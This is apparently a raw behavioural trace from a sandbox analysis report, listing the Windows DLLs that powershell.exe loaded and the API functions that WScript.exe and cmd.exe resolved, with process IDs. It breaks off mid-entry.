%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\199f66bc1a6fe937deb9e320cbcaacd7\Microsoft.Management.Infrastr (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Ibaae5ed9#\050ad0be675a46ee5b5df27c89799bb5\Microsoft.IIS.Powershell.Comm (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\aspnet_rc.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\aspnet_rc.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_rc.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\webengine4.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter webengine4.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Runteb92aa12#\00d77e4f6209222f01fba5b5ee335b0e\System.Runtime.Serialization. (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\msvcrt.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Net.Http\cbb406cb22d15d17f35c72a00f7b903c\System.Net.Http.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005280)38:T152ca,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter LogStagedFeatureUsage (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiNotify (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00005700) "WScript.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00005700) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00000524) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008436) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 